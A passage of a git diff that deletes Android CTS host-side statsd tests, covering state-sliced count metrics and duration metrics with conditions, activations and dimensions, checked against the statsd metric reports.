-                            .setField(1)
-                            .setPosition(Position.FIRST)
-                            .addChild(FieldMatcher.newBuilder()
-                                    .setField(AttributionNode.UID_FIELD_NUMBER)
-                            )
-                    )
-                    .addChild(FieldMatcher.newBuilder()
-                            .setField(2)
-                    )
-                    .addChild(FieldMatcher.newBuilder()
-                            .setField(3)
-                    )
-                    .addChild(FieldMatcher.newBuilder()
-                            .setField(4)
-                    )
-            )
-            .setFieldsInState(FieldMatcher.newBuilder()
-                    .setField(Atom.BLE_SCAN_STATE_CHANGED_FIELD_NUMBER)
-                    .addChild(FieldMatcher.newBuilder()
-                            .setField(BleScanStateChanged.ATTRIBUTION_NODE_FIELD_NUMBER)
-                            .setPosition(Position.FIRST)
-                            .addChild(FieldMatcher.newBuilder()
-                                    .setField(AttributionNode.UID_FIELD_NUMBER)
-                            )
-                    )
-                    .addChild(FieldMatcher.newBuilder()
-                            .setField(BleScanStateChanged.IS_FILTERED_FIELD_NUMBER)
-                    )
-                    .addChild(FieldMatcher.newBuilder()
-                            .setField(BleScanStateChanged.IS_FIRST_MATCH_FIELD_NUMBER)
-                    )
-                    .addChild(FieldMatcher.newBuilder()
-                            .setField(BleScanStateChanged.IS_OPPORTUNISTIC_FIELD_NUMBER)
-                    )
-            )
-            .build();
-
-        StatsdConfigProto.StatsdConfig.Builder builder = createConfigBuilder()
-                .addCountMetric(StatsdConfigProto.CountMetric.newBuilder()
-                    .setId(MetricsUtils.COUNT_METRIC_ID)
-                    .setBucket(StatsdConfigProto.TimeUnit.CTS)
-                    .setWhat(whatMatcherId)
-                    .addSliceByState(stateId)
-                    .addStateLink(stateLink)
-                )
-                .addAtomMatcher(whatMatcher)
-                .addState(state);
-        uploadConfig(builder);
-
-        runDeviceTests(DEVICE_SIDE_TEST_PACKAGE, ".AtomTests", "testBleScanInterrupted");
-
-        StatsLogReport metricReport = getStatsLogReport();
-        LogUtil.CLog.d("Got the following stats log report: \n" + metricReport.toString());
-        assertThat(metricReport.getMetricId()).isEqualTo(MetricsUtils.COUNT_METRIC_ID);
-        assertThat(metricReport.hasCountMetrics()).isTrue();
-
-        StatsLogReport.CountMetricDataWrapper dataWrapper = metricReport.getCountMetrics();
-        assertThat(dataWrapper.getDataCount()).isEqualTo(2);
-
-        CountMetricData data = dataWrapper.getData(0);
-        assertThat(data.getSliceByStateCount()).isEqualTo(1);
-        assertThat(data.getSliceByState(0).getAtomId())
-                .isEqualTo(Atom.BLE_SCAN_STATE_CHANGED_FIELD_NUMBER);
-        assertThat(data.getSliceByState(0).getValue())
-                .isEqualTo(BleScanStateChanged.State.OFF.ordinal());
-        long totalCount = data.getBucketInfoList().stream()
-                .mapToLong(CountBucketInfo::getCount)
-                .sum();
-        assertThat(totalCount).isEqualTo(3);
-
-        data = dataWrapper.getData(1);
-        assertThat(data.getSliceByStateCount()).isEqualTo(1);
-        assertThat(data.getSliceByState(0).getAtomId())
-                .isEqualTo(Atom.BLE_SCAN_STATE_CHANGED_FIELD_NUMBER);
-        assertThat(data.getSliceByState(0).getValue())
-                .isEqualTo(BleScanStateChanged.State.ON.ordinal());
-        totalCount = data.getBucketInfoList().stream()
-                .mapToLong(CountBucketInfo::getCount)
-                .sum();
-        assertThat(totalCount).isEqualTo(2);
-    }
-
-    public void testSlicedStateCountMetricNoReset() throws Exception {
-        int whatMatcherId = 3;
-        int stateId = 4;
-        int onStateGroupId = 5;
-        int offStateGroupId = 6;
-
-        // Atom 9998 {
-        //     repeated AttributionNode attribution_node = 1;
-        //     optional WakeLockLevelEnum type = 2;
-        //     optional string tag = 3;
-        // }
-        int whatAtomId = 9_998;
-
-        StatsdConfigProto.AtomMatcher whatMatcher =
-                MetricsUtils.getAtomMatcher(whatAtomId)
-                        .setId(whatMatcherId)
-                        .build();
-
-        StatsdConfigProto.State state = StatsdConfigProto.State.newBuilder()
-            .setId(stateId)
-            .setAtomId(Atom.WAKELOCK_STATE_CHANGED_FIELD_NUMBER)
-            .setMap(StatsdConfigProto.StateMap.newBuilder()
-                    .addGroup(StatsdConfigProto.StateMap.StateGroup.newBuilder()
-                            .setGroupId(onStateGroupId)
-                            .addValue(WakelockStateChanged.State.ACQUIRE_VALUE)
-                            .addValue(WakelockStateChanged.State.CHANGE_ACQUIRE_VALUE)
-                    )
-                    .addGroup(StatsdConfigProto.StateMap.StateGroup.newBuilder()
-                            .setGroupId(offStateGroupId)
-                            .addValue(WakelockStateChanged.State.RELEASE_VALUE)
-                            .addValue(WakelockStateChanged.State.CHANGE_RELEASE_VALUE)
-                    )
-            )
-            .build();
-
-        StatsdConfigProto.MetricStateLink stateLink = StatsdConfigProto.MetricStateLink.newBuilder()
-            .setStateAtomId(Atom.WAKELOCK_STATE_CHANGED_FIELD_NUMBER)
-            .setFieldsInWhat(FieldMatcher.newBuilder()
-                    .setField(whatAtomId)
-                    .addChild(FieldMatcher.newBuilder()
-                            .setField(1)
-                            .setPosition(Position.FIRST)
-                            .addChild(FieldMatcher.newBuilder()
-                                    .setField(AttributionNode.UID_FIELD_NUMBER)
-                            )
-                    )
-                    .addChild(FieldMatcher.newBuilder()
-                            .setField(2)
-                    )
-                    .addChild(FieldMatcher.newBuilder()
-                            .setField(3)
-                    )
-            )
-            .setFieldsInState(FieldMatcher.newBuilder()
-                    .setField(Atom.WAKELOCK_STATE_CHANGED_FIELD_NUMBER)
-                    .addChild(FieldMatcher.newBuilder()
-                            .setField(WakelockStateChanged.ATTRIBUTION_NODE_FIELD_NUMBER)
-                            .setPosition(Position.FIRST)
-                            .addChild(FieldMatcher.newBuilder()
-                                    .setField(AttributionNode.UID_FIELD_NUMBER)
-                            )
-                    )
-                    .addChild(FieldMatcher.newBuilder()
-                            .setField(WakelockStateChanged.TYPE_FIELD_NUMBER)
-                    )
-                    .addChild(FieldMatcher.newBuilder()
-                            .setField(WakelockStateChanged.TAG_FIELD_NUMBER)
-                    )
-            )
-            .build();
-
-        StatsdConfigProto.StatsdConfig.Builder builder = createConfigBuilder()
-                .addCountMetric(StatsdConfigProto.CountMetric.newBuilder()
-                    .setId(MetricsUtils.COUNT_METRIC_ID)
-                    .setBucket(StatsdConfigProto.TimeUnit.CTS)
-                    .setWhat(whatMatcherId)
-                    .addSliceByState(stateId)
-                    .addStateLink(stateLink)
-                )
-                .addAtomMatcher(whatMatcher)
-                .addState(state);
-        uploadConfig(builder);
-
-        runDeviceTests(DEVICE_SIDE_TEST_PACKAGE, ".AtomTests", "testSliceByWakelockState");
-
-        StatsLogReport metricReport = getStatsLogReport();
-        LogUtil.CLog.d("Got the following stats log report: \n" + metricReport.toString());
-        assertThat(metricReport.getMetricId()).isEqualTo(MetricsUtils.COUNT_METRIC_ID);
-        assertThat(metricReport.hasCountMetrics()).isTrue();
-
-        StatsLogReport.CountMetricDataWrapper dataWrapper = metricReport.getCountMetrics();
-        assertThat(dataWrapper.getDataCount()).isEqualTo(2);
-
-
-        List<CountMetricData> sortedDataList = IntStream.range(0, dataWrapper.getDataCount())
-                .mapToObj(i -> {
-                        CountMetricData data = dataWrapper.getData(i);
-                        assertWithMessage("Unexpected SliceByState count for data[%s]", "" + i)
-                                .that(data.getSliceByStateCount()).isEqualTo(1);
-                        return data;
-                })
-                .sorted((data1, data2) ->
-                        Long.compare(data1.getSliceByState(0).getGroupId(),
-                                data2.getSliceByState(0).getGroupId())
-                )
-                .collect(Collectors.toList());
-
-        CountMetricData data = sortedDataList.get(0);
-        assertThat(data.getSliceByState(0).getAtomId())
-                .isEqualTo(Atom.WAKELOCK_STATE_CHANGED_FIELD_NUMBER);
-        assertThat(data.getSliceByState(0).getGroupId())
-                .isEqualTo(onStateGroupId);
-        long totalCount = data.getBucketInfoList().stream()
-                .mapToLong(CountBucketInfo::getCount)
-                .sum();
-        assertThat(totalCount).isEqualTo(6);
-
-        data = sortedDataList.get(1);
-        assertThat(data.getSliceByState(0).getAtomId())
-                .isEqualTo(Atom.WAKELOCK_STATE_CHANGED_FIELD_NUMBER);
-        assertThat(data.getSliceByState(0).getGroupId())
-                .isEqualTo(offStateGroupId);
-        totalCount = data.getBucketInfoList().stream()
-                .mapToLong(CountBucketInfo::getCount)
-                .sum();
-        assertThat(totalCount).isEqualTo(3);
-    }
-}
diff --git a/hostsidetests/statsd/src/android/cts/statsd/metric/DurationMetricsTests.java b/hostsidetests/statsd/src/android/cts/statsd/metric/DurationMetricsTests.java
deleted file mode 100644
index 1a553b2..0000000
--- a/hostsidetests/statsd/src/android/cts/statsd/metric/DurationMetricsTests.java
+++ /dev/null
@@ -1,563 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.cts.statsd.metric;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import android.cts.statsd.atom.DeviceAtomTestCase;
-
-import com.android.internal.os.StatsdConfigProto;
-import com.android.internal.os.StatsdConfigProto.AtomMatcher;
-import com.android.internal.os.StatsdConfigProto.FieldMatcher;
-import com.android.internal.os.StatsdConfigProto.FieldValueMatcher;
-import com.android.internal.os.StatsdConfigProto.Position;
-import com.android.internal.os.StatsdConfigProto.Predicate;
-import com.android.internal.os.StatsdConfigProto.SimpleAtomMatcher;
-import com.android.internal.os.StatsdConfigProto.SimplePredicate;
-import com.android.os.AtomsProto.AppBreadcrumbReported;
-import com.android.os.AtomsProto.Atom;
-import com.android.os.StatsLog.ConfigMetricsReport;
-import com.android.os.StatsLog.ConfigMetricsReportList;
-import com.android.os.StatsLog.DurationBucketInfo;
-import com.android.os.StatsLog.StatsLogReport;
-import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.log.LogUtil;
-
-import com.google.common.collect.Range;
-
-import java.util.List;
-
-public class DurationMetricsTests extends DeviceAtomTestCase {
-
-    private static final int APP_BREADCRUMB_REPORTED_A_MATCH_START_ID = 0;
-    private static final int APP_BREADCRUMB_REPORTED_A_MATCH_STOP_ID = 1;
-    private static final int APP_BREADCRUMB_REPORTED_B_MATCH_START_ID = 2;
-    private static final int APP_BREADCRUMB_REPORTED_B_MATCH_STOP_ID = 3;
-
-    public void testDurationMetric() throws Exception {
-        final int label = 1;
-        // Add AtomMatchers.
-        AtomMatcher startAtomMatcher =
-            MetricsUtils.startAtomMatcherWithLabel(APP_BREADCRUMB_REPORTED_A_MATCH_START_ID, label);
-        AtomMatcher stopAtomMatcher =
-            MetricsUtils.stopAtomMatcherWithLabel(APP_BREADCRUMB_REPORTED_A_MATCH_STOP_ID, label);
-
-        StatsdConfigProto.StatsdConfig.Builder builder = createConfigBuilder();
-        builder.addAtomMatcher(startAtomMatcher);
-        builder.addAtomMatcher(stopAtomMatcher);
-
-        // Add Predicates.
-        SimplePredicate simplePredicate = SimplePredicate.newBuilder()
-                .setStart(APP_BREADCRUMB_REPORTED_A_MATCH_START_ID)
-                .setStop(APP_BREADCRUMB_REPORTED_A_MATCH_STOP_ID)
-                .build();
-        Predicate predicate = Predicate.newBuilder()
-                                  .setId(MetricsUtils.StringToId("Predicate"))
-                                  .setSimplePredicate(simplePredicate)
-                                  .build();
-        builder.addPredicate(predicate);
-
-        // Add DurationMetric.
-        builder.addDurationMetric(
-            StatsdConfigProto.DurationMetric.newBuilder()
-                .setId(MetricsUtils.DURATION_METRIC_ID)
-                .setWhat(predicate.getId())
-                .setAggregationType(StatsdConfigProto.DurationMetric.AggregationType.SUM)
-                .setBucket(StatsdConfigProto.TimeUnit.CTS));
-
-        // Upload config.
-        uploadConfig(builder);
-
-        // Create AppBreadcrumbReported Start/Stop events.
-        doAppBreadcrumbReportedStart(label);
-        Thread.sleep(2000);
-        doAppBreadcrumbReportedStop(label);
-
-        // Wait for the metrics to propagate to statsd.
-        Thread.sleep(2000);
-
-        StatsLogReport metricReport = getStatsLogReport();
-        assertThat(metricReport.getMetricId()).isEqualTo(MetricsUtils.DURATION_METRIC_ID);
-        LogUtil.CLog.d("Received the following data: " + metricReport.toString());
-        assertThat(metricReport.hasDurationMetrics()).isTrue();
-        StatsLogReport.DurationMetricDataWrapper durationData
-                = metricReport.getDurationMetrics();
-        assertThat(durationData.getDataCount()).isEqualTo(1);
-        assertThat(durationData.getData(0).getBucketInfo(0).getDurationNanos())
-                .isIn(Range.open(0L, (long)1e9));
-    }
-
-    public void testDurationMetricWithCondition() throws Exception {
-        final int durationLabel = 1;
-        final int conditionLabel = 2;
-
-        // Add AtomMatchers.
-        AtomMatcher startAtomMatcher = MetricsUtils.startAtomMatcherWithLabel(
-                APP_BREADCRUMB_REPORTED_A_MATCH_START_ID, durationLabel);
-        AtomMatcher stopAtomMatcher = MetricsUtils.stopAtomMatcherWithLabel(
-                APP_BREADCRUMB_REPORTED_A_MATCH_STOP_ID, durationLabel);
-        AtomMatcher conditionStartAtomMatcher = MetricsUtils.startAtomMatcherWithLabel(
-                APP_BREADCRUMB_REPORTED_B_MATCH_START_ID, conditionLabel);
-        AtomMatcher conditionStopAtomMatcher = MetricsUtils.stopAtomMatcherWithLabel(
-                APP_BREADCRUMB_REPORTED_B_MATCH_STOP_ID, conditionLabel);
-
-        StatsdConfigProto.StatsdConfig.Builder builder = createConfigBuilder()
-                .addAtomMatcher(startAtomMatcher)
-                .addAtomMatcher(stopAtomMatcher)
-                .addAtomMatcher(conditionStartAtomMatcher)
-                .addAtomMatcher(conditionStopAtomMatcher);
-
-        // Add Predicates.
-        SimplePredicate simplePredicate = SimplePredicate.newBuilder()
-                .setStart(APP_BREADCRUMB_REPORTED_A_MATCH_START_ID)
-                .setStop(APP_BREADCRUMB_REPORTED_A_MATCH_STOP_ID)
-                .build();
-        Predicate predicate = Predicate.newBuilder()
-                                  .setId(MetricsUtils.StringToId("Predicate"))
-                                  .setSimplePredicate(simplePredicate)
-                                  .build();
-
-        SimplePredicate conditionSimplePredicate = SimplePredicate.newBuilder()
-                .setStart(APP_BREADCRUMB_REPORTED_B_MATCH_START_ID)
-                .setStop(APP_BREADCRUMB_REPORTED_B_MATCH_STOP_ID)
-                .build();
-        Predicate conditionPredicate = Predicate.newBuilder()
-                                  .setId(MetricsUtils.StringToId("ConditionPredicate"))
-                                  .setSimplePredicate(conditionSimplePredicate)
-                                  .build();
-
-        builder
-            .addPredicate(predicate)
-            .addPredicate(conditionPredicate);
-
-        // Add DurationMetric.
-        builder
-                .addDurationMetric(StatsdConfigProto.DurationMetric.newBuilder()
-                        .setId(MetricsUtils.DURATION_METRIC_ID)
-                        .setWhat(predicate.getId())
-                        .setAggregationType(StatsdConfigProto.DurationMetric.AggregationType.SUM)
-                        .setBucket(StatsdConfigProto.TimeUnit.CTS)
-                        .setCondition(conditionPredicate.getId())
-                );
-
-        // Upload config.
-        uploadConfig(builder);
-
-        // Start uncounted duration.
-        doAppBreadcrumbReportedStart(durationLabel);
-        Thread.sleep(10);
-
-        Thread.sleep(2_000);
-
-        // Stop uncounted duration.
-        doAppBreadcrumbReportedStop(durationLabel);
-        Thread.sleep(10);
-
-        // Set the condition to true.
-        doAppBreadcrumbReportedStart(conditionLabel);
-        Thread.sleep(10);
-
-        // Start counted duration.
-        doAppBreadcrumbReportedStart(durationLabel);
-        Thread.sleep(10);
-
-        Thread.sleep(2_000);
-
-        // Stop counted duration.
-        doAppBreadcrumbReportedStop(durationLabel);
-        Thread.sleep(10);
-
-        // Set the condition to false.
-        doAppBreadcrumbReportedStop(conditionLabel);
-        Thread.sleep(10);
-
-        // Start uncounted duration.
-        doAppBreadcrumbReportedStart(durationLabel);
-        Thread.sleep(10);
-
-        Thread.sleep(2_000);
-
-        // Stop uncounted duration.
-        doAppBreadcrumbReportedStop(durationLabel);
-        Thread.sleep(10);
-
-        Thread.sleep(2_000);
-        StatsLogReport metricReport = getStatsLogReport();
-        assertThat(metricReport.getMetricId()).isEqualTo(MetricsUtils.DURATION_METRIC_ID);
-        LogUtil.CLog.d("Received the following data: " + metricReport.toString());
-        assertThat(metricReport.hasDurationMetrics()).isTrue();
-        StatsLogReport.DurationMetricDataWrapper durationData
-                = metricReport.getDurationMetrics();
-        assertThat(durationData.getDataCount()).isEqualTo(1);
-        long totalDuration = durationData.getData(0).getBucketInfoList().stream()
-                .mapToLong(bucketInfo -> bucketInfo.getDurationNanos())
-                .peek(durationNs -> assertThat(durationNs).isIn(Range.openClosed(0L, (long)1e9)))
-                .sum();
-        assertThat(totalDuration).isIn(Range.open((long)2e9, (long)3e9));
-    }
-
-    public void testDurationMetricWithActivation() throws Exception {
-        final int activationMatcherId = 5;
-        final int activationMatcherLabel = 5;
-        final int ttlSec = 5;
-        final int durationLabel = 1;
-
-        // Add AtomMatchers.
-        AtomMatcher startAtomMatcher = MetricsUtils.startAtomMatcherWithLabel(
-                APP_BREADCRUMB_REPORTED_A_MATCH_START_ID, durationLabel);
-        AtomMatcher stopAtomMatcher = MetricsUtils.stopAtomMatcherWithLabel(
-                APP_BREADCRUMB_REPORTED_A_MATCH_STOP_ID, durationLabel);
-        StatsdConfigProto.AtomMatcher activationMatcher =
-                MetricsUtils.appBreadcrumbMatcherWithLabel(activationMatcherId,
-                                                           activationMatcherLabel);
-
-        StatsdConfigProto.StatsdConfig.Builder builder = createConfigBuilder()
-                .addAtomMatcher(startAtomMatcher)
-                .addAtomMatcher(stopAtomMatcher)
-                .addAtomMatcher(activationMatcher);
-
-        // Add Predicates.
-        SimplePredicate simplePredicate = SimplePredicate.newBuilder()
-                .setStart(APP_BREADCRUMB_REPORTED_A_MATCH_START_ID)
-                .setStop(APP_BREADCRUMB_REPORTED_A_MATCH_STOP_ID)
-                .build();
-        Predicate predicate = Predicate.newBuilder()
-                                  .setId(MetricsUtils.StringToId("Predicate"))
-                                  .setSimplePredicate(simplePredicate)
-                                  .build();
-        builder.addPredicate(predicate);
-
-        // Add DurationMetric.
-        builder
-                .addDurationMetric(StatsdConfigProto.DurationMetric.newBuilder()
-                        .setId(MetricsUtils.DURATION_METRIC_ID)
-                        .setWhat(predicate.getId())
-                        .setAggregationType(StatsdConfigProto.DurationMetric.AggregationType.SUM)
-                        .setBucket(StatsdConfigProto.TimeUnit.CTS)
-                )
-                .addMetricActivation(StatsdConfigProto.MetricActivation.newBuilder()
-                        .setMetricId(MetricsUtils.DURATION_METRIC_ID)
-                        .addEventActivation(StatsdConfigProto.EventActivation.newBuilder()
-                                .setAtomMatcherId(activationMatcherId)
-                                .setActivationType(
-                                        StatsdConfigProto.ActivationType.ACTIVATE_IMMEDIATELY)
-                                .setTtlSeconds(ttlSec)));
-
-        // Upload config.
-        uploadConfig(builder);
-
-        // Start uncounted duration.
-        doAppBreadcrumbReportedStart(durationLabel);
-        Thread.sleep(10);
-
-        Thread.sleep(2_000);
-
-        // Stop uncounted duration.
-        doAppBreadcrumbReportedStop(durationLabel);
-        Thread.sleep(10);
-
-        // Activate the metric.
-        doAppBreadcrumbReported(activationMatcherLabel);
-        Thread.sleep(10);
-
-        // Start counted duration.
-        doAppBreadcrumbReportedStart(durationLabel);
-        Thread.sleep(10);
-
-        Thread.sleep(2_000);
-
-        // Stop counted duration.
-        doAppBreadcrumbReportedStop(durationLabel);
-        Thread.sleep(10);
-
-        Thread.sleep(2_000);
-        StatsLogReport metricReport = getStatsLogReport();
-        assertThat(metricReport.getMetricId()).isEqualTo(MetricsUtils.DURATION_METRIC_ID);
-        LogUtil.CLog.d("Received the following data: " + metricReport.toString());
-        assertThat(metricReport.hasDurationMetrics()).isTrue();
-        StatsLogReport.DurationMetricDataWrapper durationData
-                = metricReport.getDurationMetrics();
-        assertThat(durationData.getDataCount()).isEqualTo(1);
-        long totalDuration = durationData.getData(0).getBucketInfoList().stream()
-                .mapToLong(bucketInfo -> bucketInfo.getDurationNanos())
-                .peek(durationNs -> assertThat(durationNs).isIn(Range.openClosed(0L, (long)1e9)))
-                .sum();
-        assertThat(totalDuration).isIn(Range.open((long)2e9, (long)3e9));
-    }
-
-    public void testDurationMetricWithConditionAndActivation() throws Exception {
-        final int durationLabel = 1;
-        final int conditionLabel = 2;
-        final int activationMatcherId = 5;
-        final int activationMatcherLabel = 5;
-        final int ttlSec = 5;
-
-        // Add AtomMatchers.
-        AtomMatcher startAtomMatcher = MetricsUtils.startAtomMatcherWithLabel(
-                APP_BREADCRUMB_REPORTED_A_MATCH_START_ID, durationLabel);
-        AtomMatcher stopAtomMatcher = MetricsUtils.stopAtomMatcherWithLabel(
-                APP_BREADCRUMB_REPORTED_A_MATCH_STOP_ID, durationLabel);
-        AtomMatcher conditionStartAtomMatcher = MetricsUtils.startAtomMatcherWithLabel(
-                APP_BREADCRUMB_REPORTED_B_MATCH_START_ID, conditionLabel);
-        AtomMatcher conditionStopAtomMatcher = MetricsUtils.stopAtomMatcherWithLabel(
-                APP_BREADCRUMB_REPORTED_B_MATCH_STOP_ID, conditionLabel);
-        StatsdConfigProto.AtomMatcher activationMatcher =
-                MetricsUtils.appBreadcrumbMatcherWithLabel(activationMatcherId,
-                                                           activationMatcherLabel);
-
-        StatsdConfigProto.StatsdConfig.Builder builder = createConfigBuilder()
-                .addAtomMatcher(startAtomMatcher)
-                .addAtomMatcher(stopAtomMatcher)
-                .addAtomMatcher(conditionStartAtomMatcher)
-                .addAtomMatcher(conditionStopAtomMatcher)
-                .addAtomMatcher(activationMatcher);
-
-        // Add Predicates.
-        SimplePredicate simplePredicate = SimplePredicate.newBuilder()
-                .setStart(APP_BREADCRUMB_REPORTED_A_MATCH_START_ID)
-                .setStop(APP_BREADCRUMB_REPORTED_A_MATCH_STOP_ID)
-                .build();
-        Predicate predicate = Predicate.newBuilder()
-                                  .setId(MetricsUtils.StringToId("Predicate"))
-                                  .setSimplePredicate(simplePredicate)
-                                  .build();
-        builder.addPredicate(predicate);
-
-        SimplePredicate conditionSimplePredicate = SimplePredicate.newBuilder()
-                .setStart(APP_BREADCRUMB_REPORTED_B_MATCH_START_ID)
-                .setStop(APP_BREADCRUMB_REPORTED_B_MATCH_STOP_ID)
-                .build();
-        Predicate conditionPredicate = Predicate.newBuilder()
-                                  .setId(MetricsUtils.StringToId("ConditionPredicate"))
-                                  .setSimplePredicate(conditionSimplePredicate)
-                                  .build();
-        builder.addPredicate(conditionPredicate);
-
-        // Add DurationMetric.
-        builder
-                .addDurationMetric(StatsdConfigProto.DurationMetric.newBuilder()
-                        .setId(MetricsUtils.DURATION_METRIC_ID)
-                        .setWhat(predicate.getId())
-                        .setAggregationType(StatsdConfigProto.DurationMetric.AggregationType.SUM)
-                        .setBucket(StatsdConfigProto.TimeUnit.CTS)
-                        .setCondition(conditionPredicate.getId())
-                )
-                .addMetricActivation(StatsdConfigProto.MetricActivation.newBuilder()
-                        .setMetricId(MetricsUtils.DURATION_METRIC_ID)
-                        .addEventActivation(StatsdConfigProto.EventActivation.newBuilder()
-                                .setAtomMatcherId(activationMatcherId)
-                                .setActivationType(
-                                        StatsdConfigProto.ActivationType.ACTIVATE_IMMEDIATELY)
-                                .setTtlSeconds(ttlSec)));
-
-        // Upload config.
-        uploadConfig(builder);
-
-        // Activate the metric.
-        doAppBreadcrumbReported(activationMatcherLabel);
-        Thread.sleep(10);
-
-        // Set the condition to true.
-        doAppBreadcrumbReportedStart(conditionLabel);
-        Thread.sleep(10);
-
-        // Start counted duration.
-        doAppBreadcrumbReportedStart(durationLabel);
-        Thread.sleep(10);
-
-        Thread.sleep(2_000);
-
-        // Stop counted duration.
-        doAppBreadcrumbReportedStop(durationLabel);
-        Thread.sleep(10);
-
-        // Set the condition to false.
-        doAppBreadcrumbReportedStop(conditionLabel);
-        Thread.sleep(10);
-
-        // Start uncounted duration.
-        doAppBreadcrumbReportedStart(durationLabel);
-        Thread.sleep(10);
-
-        Thread.sleep(2_000);
-
-        // Stop uncounted duration.
-        doAppBreadcrumbReportedStop(durationLabel);
-        Thread.sleep(10);
-
-        // Let the metric deactivate.
-        Thread.sleep(ttlSec * 1000);
-        //doAppBreadcrumbReported(99); // TODO: maybe remove?
-        //Thread.sleep(10);
-
-        // Start uncounted duration.
-        doAppBreadcrumbReportedStart(durationLabel);
-        Thread.sleep(10);
-
-        Thread.sleep(2_000);
-
-        // Stop uncounted duration.
-        doAppBreadcrumbReportedStop(durationLabel);
-        Thread.sleep(10);
-
-        // Set condition to true again.
-        doAppBreadcrumbReportedStart(conditionLabel);
-        Thread.sleep(10);
-
-        // Start uncounted duration.
-        doAppBreadcrumbReportedStart(durationLabel);
-        Thread.sleep(10);
-
-        Thread.sleep(2_000);
-
-        // Stop uncounted duration.
-        doAppBreadcrumbReportedStop(durationLabel);
-        Thread.sleep(10);
-
-        // Activate the metric.
-        doAppBreadcrumbReported(activationMatcherLabel);
-        Thread.sleep(10);
-
-        // Start counted duration.
-        doAppBreadcrumbReportedStart(durationLabel);
-        Thread.sleep(10);
-
-        Thread.sleep(2_000);
-
-        // Stop counted duration.
-        doAppBreadcrumbReportedStop(durationLabel);
-        Thread.sleep(10);
-
-        // Let the metric deactivate.
-        Thread.sleep(ttlSec * 1000);
-
-        // Start uncounted duration.
-        doAppBreadcrumbReportedStart(durationLabel);
-        Thread.sleep(10);
-
-        Thread.sleep(2_000);
-
-        // Stop uncounted duration.
-        doAppBreadcrumbReportedStop(durationLabel);
-        Thread.sleep(10);
-
-        // Wait for the metrics to propagate to statsd.
-        Thread.sleep(2000);
-
-        StatsLogReport metricReport = getStatsLogReport();
-        LogUtil.CLog.d("Received the following data: " + metricReport.toString());
-        assertThat(metricReport.getMetricId()).isEqualTo(MetricsUtils.DURATION_METRIC_ID);
-        assertThat(metricReport.hasDurationMetrics()).isTrue();
-        StatsLogReport.DurationMetricDataWrapper durationData
-                = metricReport.getDurationMetrics();
-        assertThat(durationData.getDataCount()).isEqualTo(1);
-        long totalDuration = durationData.getData(0).getBucketInfoList().stream()
-                .mapToLong(bucketInfo -> bucketInfo.getDurationNanos())
-                .peek(durationNs -> assertThat(durationNs).isIn(Range.openClosed(0L, (long)1e9)))
-                .sum();
-        assertThat(totalDuration).isIn(Range.open((long)4e9, (long)5e9));
-    }
-
-    public void testDurationMetricWithDimension() throws Exception {
-        // Add AtomMatchers.
-        AtomMatcher startAtomMatcherA =
-            MetricsUtils.startAtomMatcher(APP_BREADCRUMB_REPORTED_A_MATCH_START_ID);
-        AtomMatcher stopAtomMatcherA =
-            MetricsUtils.stopAtomMatcher(APP_BREADCRUMB_REPORTED_A_MATCH_STOP_ID);
-        AtomMatcher startAtomMatcherB =
-            MetricsUtils.startAtomMatcher(APP_BREADCRUMB_REPORTED_B_MATCH_START_ID);
-        AtomMatcher stopAtomMatcherB =
-            MetricsUtils.stopAtomMatcher(APP_BREADCRUMB_REPORTED_B_MATCH_STOP_ID);
-
-        StatsdConfigProto.StatsdConfig.Builder builder = createConfigBuilder();
-        builder.addAtomMatcher(startAtomMatcherA);
-        builder.addAtomMatcher(stopAtomMatcherA);
-        builder.addAtomMatcher(startAtomMatcherB);
-        builder.addAtomMatcher(stopAtomMatcherB);
-
-        // Add Predicates.
-        SimplePredicate simplePredicateA = SimplePredicate.newBuilder()
-                .setStart(APP_BREADCRUMB_REPORTED_A_MATCH_START_ID)
-                .setStop(APP_BREADCRUMB_REPORTED_A_MATCH_STOP_ID)
-                .build();
-        Predicate predicateA = Predicate.newBuilder()
-                                   .setId(MetricsUtils.StringToId("Predicate_A"))
-                                   .setSimplePredicate(simplePredicateA)
-                                   .build();
-        builder.addPredicate(predicateA);
-
-        FieldMatcher.Builder dimensionsBuilder = FieldMatcher.newBuilder()
-                .setField(AppBreadcrumbReported.STATE_FIELD_NUMBER);
-        dimensionsBuilder.addChild(FieldMatcher.newBuilder()
-                .setField(AppBreadcrumbReported.LABEL_FIELD_NUMBER)
-                .setPosition(Position.FIRST)
-                .addChild(FieldMatcher.newBuilder().setField(
-                        AppBreadcrumbReported.LABEL_FIELD_NUMBER)));
-        Predicate predicateB =
-            Predicate.newBuilder()
-                .setId(MetricsUtils.StringToId("Predicate_B"))
-                .setSimplePredicate(SimplePredicate.newBuilder()
-                                        .setStart(APP_BREADCRUMB_REPORTED_B_MATCH_START_ID)
-                                        .setStop(APP_BREADCRUMB_REPORTED_B_MATCH_STOP_ID)
-                                        .setDimensions(dimensionsBuilder.build())
-                                        .build())
-                .build();
-        builder.addPredicate(predicateB);
-
-        // Add DurationMetric.
-        builder.addDurationMetric(
-            StatsdConfigProto.DurationMetric.newBuilder()
-                .setId(MetricsUtils.DURATION_METRIC_ID)
-                .setWhat(predicateB.getId())
-                .setCondition(predicateA.getId())
-                .setAggregationType(StatsdConfigProto.DurationMetric.AggregationType.SUM)
-                .setBucket(StatsdConfigProto.TimeUnit.CTS)
-                .setDimensionsInWhat(
-                    FieldMatcher.newBuilder()
-                        .setField(Atom.BATTERY_SAVER_MODE_STATE_CHANGED_FIELD_NUMBER)
-                        .addChild(FieldMatcher.newBuilder()
-                                      .setField(AppBreadcrumbReported.STATE_FIELD_NUMBER)
-                                      .setPosition(Position.FIRST)
-                                      .addChild(FieldMatcher.newBuilder().setField(
-                                          AppBreadcrumbReported.LABEL_FIELD_NUMBER)))));
-
-        // Upload config.
-        uploadConfig(builder);
-
-        // Trigger events.
-        doAppBreadcrumbReportedStart(1);
-        Thread.sleep(2000);
-        doAppBreadcrumbReportedStart(2);
-        Thread.sleep(2000);
-        doAppBreadcrumbReportedStop(1);
-        Thread.sleep(2000);
-        doAppBreadcrumbReportedStop(2);
-
-        // Wait for the metrics to propagate to statsd.
-        Thread.sleep(2000);
-
